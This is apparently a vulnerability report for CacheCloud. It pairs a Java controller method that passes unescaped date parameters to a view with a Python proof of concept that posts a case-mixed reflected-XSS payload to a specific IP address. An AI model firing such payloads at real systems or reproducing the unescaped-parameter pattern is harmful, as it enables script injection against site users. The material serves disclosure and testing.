// src/main/java/com/sohu/cache/web/controller/AppManageController.java#L146-L177 146: @RequestMapping({"/auditList"}) 147: public ModelAndView doAppAuditList(HttpServletRequest request, HttpServletResponse response, Model model, Integer status, Integer type, Long auditId, Long operateId, Long userId, String startDate, String endDate, Long adminId) { 148: AppAuditType[] appAuditTypes = AppAuditType.values(); 149: model.addAttribute("appAuditTypeMap", Arrays.stream(appAuditTypes).collect(Collectors.toMap(AppAuditType::getValue, Function.identity()))); 150: List<AppUser> userList = this.userService.getAllUser(); 151: model.addAttribute("userMap", userList.stream().collect(Collectors.toMap(AppUser::getId, Function.identity()))); 152: List<AppAudit> list = this.appService.getAppAudits(status, type, auditId, userId, operateId); 153: this.getUserInfo(request); 154: Date startTime = null; 155: Date endTime = null; 156: if (StringUtils.isNotBlank(startDate) && StringUtils.isNotBlank(endDate)) { 157: startTime = DateUtil.getDateByFormat(startDate, "yyyy-MM-dd"); 158: endTime = DateUtil.getDateByFormat(endDate, "yyyy-MM-dd"); 159: } 160: 161: Map<String, Object> statusStatisMap = this.appService.getStatisticGroupByStatus((Long)null, adminId, startTime, endTime); 162: Map<String, Object> typeStatisMap = this.appService.getStatisticGroupByType((Long)null, adminId, startTime, endTime); 163: model.addAttribute("statusStatisMap", statusStatisMap); 164: model.addAttribute("typeStatisMap", typeStatisMap); 165: model.addAttribute("list", list); 166: model.addAttribute("userId", userId); 167: model.addAttribute("operateId", operateId); 168: model.addAttribute("status", status); 169: model.addAttribute("type", type); 170: model.addAttribute("auditId", auditId); 171: model.addAttribute("checkActive", SuccessEnum.SUCCESS.value()); 172: model.addAttribute("startDate", startDate); 173: model.addAttribute("endDate", endDate); 174: model.addAttribute("adminId", adminId); 175: return new ModelAndView("manage/appAudit/list"); 176: } 177: 

import requests from requests.sessions import Session class CustomSession(Session): def request( self, method, url, params = None, data = None, headers = None, cookies = None, files = None, auth = None, timeout = None, allow_redirects = True, proxies = None, hooks = None, stream = None, verify = None, cert = None, json = None, ): arg_names = ( 'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout', 'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json' ) local_variables = locals() local_variables = {n: local_variables[n] for n in local_variables if n in arg_names} local_variables['headers'] = local_variables.get('headers') or dict() local_variables['headers'].update({'referer': 'http://34.169.199.145:40101/admin/app/list', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'x-requested-with': 'XMLHttpRequest', 'origin': 'http://34.169.199.145:40101', 'upgrade-insecure-requests': '1', 'pragma': 'no-cache', 'cache-control': 'no-cache', 'accept-encoding': 'gzip, deflate'}) return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names}) requests.sessions.Session = CustomSession # ================================== Poc Start =================================== import requests url = 'http://34.169.199.145:40101/manage/app/auditList' payload = '</ScRipT><anytag tabindex="1" auToFocuS oNFOCus=alert("zast-xss")><VidEO src="x" onloadstart=alert("zast-xss")>' data = {'startDate': payload, 'endDate': payload} response = requests.post(url, data=data, verify=False, allow_redirects=False) print('Status Code:', response.status_code) print('Text:', response.text) # =================================== Poc End ====================================